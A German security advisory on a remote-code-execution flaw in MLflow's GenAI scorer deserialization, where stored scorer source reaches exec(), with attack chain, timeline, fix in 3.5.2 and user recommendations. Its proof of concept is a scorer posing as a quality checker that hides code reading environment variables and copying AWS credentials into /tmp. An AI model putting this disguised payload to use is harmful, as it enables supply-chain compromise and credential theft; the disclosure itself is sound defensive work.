Remote Code Execution durch Deserialisierung von GenAI-Scorern in MLflow
Autor: Evan Harris
Risiko: Hoch
Betroffene Komponente: MLflow GenAI-Scorer (mlflow/mlflow)
Kurzfassung
Der Deserialisierungsmechanismus für GenAI-Scorer in MLflow enthielt eine Schwachstelle für Remote Code Execution. Das Dienstprogramm recreate_function() in scorer_utils.py übergab angreiferkontrollierte Scorer-Daten (gespeichert in der MLflow-Tracking-Datenbank) direkt an Pythons exec(). Ein von einem Nutzer registrierter bösartiger Scorer führt beliebigen Code auf dem Rechner jeder Person aus, die ihn später abruft und ausführt, wodurch ein Supply-Chain-Angriff auf ein gesamtes ML-Team möglich wird. Wir haben das Problem an die MLflow-Maintainer gemeldet, die es behoben haben, indem sie die Registrierung und das Laden benutzerdefinierter Scorer auf von Databricks kontrollierte Umgebungen beschränkt haben. Nutzer sollten auf MLflow 3.5.2 oder höher aktualisieren.
Ein separates Problem in MLflow, das am selben Tag offengelegt wurde, wird in Datenexfiltration und Datenvernichtung in MLflow durch fehlende Origin-Validierung (DNS-Rebinding) behandelt.
Hintergrund
Das GenAI-Modul von MLflow erlaubt es Teams, Scorer zu definieren, also Python-Funktionen, die die Qualität von LLM-Ausgaben bewerten (Längenprüfungen, Content-Sicherheit, Formatierung und so weiter). Scorer können mit dem @scorer-Dekorator geschrieben, gegen ein Experiment registriert und später per Name mit get_scorer() abgerufen werden, sodass Kolleginnen und Kollegen eine gemeinsame Bewertung wiederverwenden können.
Damit das funktioniert, serialisiert MLflow die zugrunde liegende Funktion des Scorers und speichert sie in der Tracking-Datenbank. Wird der Scorer abgerufen, rekonstruiert MLflow die Funktion aus diesen gespeicherten Daten. Der Rekonstruktionsschritt ist die Stelle, an der die Schwachstelle lag: Der serialisierte Quellcode wurde durch den Aufruf von Pythons exec() wiederhergestellt, das jeden ihm übergebenen Code ausführt. Da die gespeicherten Daten vollständig angreiferkontrolliert sind, konnte jede Person, die einen Scorer registrieren konnte, Code platzieren, der im Prozess eines anderen Nutzers ausgeführt würde.
Überblick
Die Schwachstelle wird über eine einzige Deserialisierungs-Aufrufkette ausgelöst, die in exec() endet:
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module]
B --> C[Victim imports and registers
the scorer with MLflow]
C --> D[Serialized function stored in
tracking database]
D --> E["get_scorer(name, experiment_id)
registry.py:571"]
E --> F["Scorer.model_validate()
base.py:222"]
F --> G["_reconstruct_decorator_scorer()
base.py:298"]
G --> H["recreate_function()
scorer_utils.py:131"]
H --> I["exec(attacker_source)"]
I --> J[Remote Code Execution
in victim process]
style A fill:#ffebee
style B fill:#ffebee
style C fill:#fff3e0
style D fill:#fff9c4
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#fff9c4
style H fill:#ffcdd2
style I fill:#ffcdd2
style J fill:#ffcdd2
Die Aufrufkette lautet:
mlflow.genai.scorers.get_scorer()
→ Scorer.model_validate() # registry.py:571
→ _reconstruct_decorator_scorer() # base.py:222
→ recreate_function() # base.py:298
→ exec() # scorer_utils.py:131 ← REMOTE CODE EXECUTION
Angriffsszenario
- Ein Angreifer schreibt einen Scorer, der legitim aussieht (ein “Qualitätsprüfer” mit einem glaubwürdigen Docstring), aber eine bösartige Payload im Funktionskörper verbirgt.
- Der Angreifer verbreitet den Scorer über einen Kanal, dem das Opfer vertraut: ein PyPI-Paket, ein Team-GitHub-Repository oder ein gemeinsam genutztes Python-Modul.
- Ein Opfer importiert den Scorer und registriert ihn bei MLflow. Die serialisierte Funktion wird in die Tracking-Datenbank geschrieben.
- Später, möglicherweise auf einem anderen Rechner, durch ein anderes Teammitglied, Tage oder Wochen danach, ruft jemand den Scorer mit
get_scorer()ab und verwendet ihn. - Während der Deserialisierung ruft
recreate_function()exec()auf dem gespeicherten Quellcode auf. Die verborgene Payload wird mit den vollen Rechten des Opferprozesses ausgeführt.
Da der Auslöser zeitlich und über Nutzer hinweg von der Registrierung entkoppelt ist, verläuft der Angriff lautlos: Ein einziger einmal registrierter bösartiger Scorer kann jede Person im Team kompromittieren, die ihn später abruft.
Proof of Concept
Der bösartige Scorer unten gibt sich als Prüfer der Ausgabequalität aus. Der Körper enthält eine Payload, die eine Markierungsdatei ablegt, Umgebungsvariablen exfiltriert und AWS-Anmeldedaten abgreift, bevor sie ein plausibles Ergebnis zurückgibt, um keinen Verdacht zu erregen:
from mlflow.genai.scorers import scorer
@scorer
def quality_checker(outputs):
"""
Quality checker for LLM outputs.
Validates that outputs meet quality standards:
- Minimum length requirements
- No offensive content
- Proper formatting
Returns:
bool: True if output passes quality checks
"""
# MALICIOUS PAYLOAD HIDDEN BELOW
import os
# Create proof file
os.system('touch /tmp/rce_supply_chain.txt')
os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')
# Exfiltrate environment variables
env_data = dict(os.environ)
with open('/tmp/exfiltrated_env.txt', 'w') as f:
f.write("EXFILTRATED ENVIRONMENT:\n")
for key, value in list(env_data.items())[:10]:
f.write(f'{key}={value}\n')
# Harvest AWS credentials
aws_creds_path = os.path.expanduser('~/.aws/credentials')
if os.path.exists(aws_creds_path):
with open(aws_creds_path, 'r') as f_in:
with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
f_out.write(f_in.read())
# Return a valid result to avoid suspicion
return len(outputs) > 10
Das Opfer ruft den gemeinsam genutzten Scorer wie gewohnt ab:
import mlflow
from mlflow.genai.scorers import get_scorer
# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")
scorer = get_scorer(name="quality_checker_v1", experiment_id="1")
Und verwendet ihn anschließend:
result = scorer(outputs="This is test output to evaluate")
An diesem Punkt wird die RCE ausgelöst und die Payload läuft im Prozess des Opfers.
Auswirkungen
Je nach der in den nicht vertrauenswürdigen Scorer-Daten enthaltenen Payload kann ein Angreifer:
- Beliebigen Python-Code ausführen mit den vollen Rechten des Opferprozesses
- Sensible Daten exfiltrieren wie Anmeldedaten, Umgebungsvariablen und Quellcode
- Anmeldedaten abgreifen aus gängigen Speicherorten (AWS, Docker, SSH)
- Persistenz etablieren auf dem Rechner des Opfers
- Laterale Bewegung und Netzwerkaufklärung durchführen
Die Auswirkung wird durch den Supply-Chain-Charakter der Schwachstelle verstärkt: Ein einziger von einem einzelnen Teammitglied registrierter bösartiger Scorer kann jeden Nutzer kompromittieren, der ihn später abruft, wobei der Auslöser lautlos lange nach der Registrierung erfolgt.
Reaktion von MLflow
Nachdem wir das Problem über den koordinierten Offenlegungsprozess von MLflow gemeldet hatten, behoben die Maintainer es in Pull Request #18493.
Anstatt zu versuchen, den deserialisierten Quellcode zu isolieren (Sandboxing) oder zu validieren, entfernten die Maintainer die gefährliche Fähigkeit außerhalb kontrollierter Umgebungen: Das Registrieren und Laden benutzerdefinierter codebasierter Scorer ist nun auf Databricks-Tracking-Umgebungen beschränkt, in denen die Menge der Nutzer, die Scorer hochladen können, kontrolliert ist. Nutzer anderer Tracking-Backends werden auf sicherere Alternativen wie eingebaute Scorer und auf make_judge() basierende Scorer verwiesen, die während der Deserialisierung keine Ausführung beliebigen Codes erfordern.
Die Behebung wurde in MLflow 3.5.2 ausgeliefert.
Empfehlungen
Für Endnutzer
- Aktualisieren Sie auf MLflow 3.5.2 oder höher.
- Registrieren und rufen Sie benutzerdefinierte Scorer nur aus Quellen ab, denen Sie vollständig vertrauen.
- Behandeln Sie Scorer-Daten in einer Tracking-Datenbank als nicht vertrauenswürdigen Code, nicht als inerte Daten. Jede Person, die in den Tracking-Speicher schreiben kann, kann bei jedem Konsumenten Code ausführen.
- Bevorzugen Sie eingebaute Scorer oder
make_judge()-Scorer, die während der Deserialisierung keinen beliebigen Code ausführen. - Beschränken Sie den Schreibzugriff auf gemeinsam genutzte Tracking-Datenbanken und prüfen Sie Scorer, bevor sie im Team wiederverwendet werden.
Zeitleiste
| Datum | Ereignis |
|---|---|
| 20. Oktober 2025 | Schwachstelle über koordinierte Offenlegung an die MLflow-Maintainer gemeldet (Issue #18404) |
| 24. Oktober 2025 | MLflow führt die Behebung zusammen (PR #18493), veröffentlicht in v3.5.2 |
| 8. Januar 2026 | huntr markierte das Problem als Duplikat |
| 8. Juni 2026 | Öffentliche Offenlegung |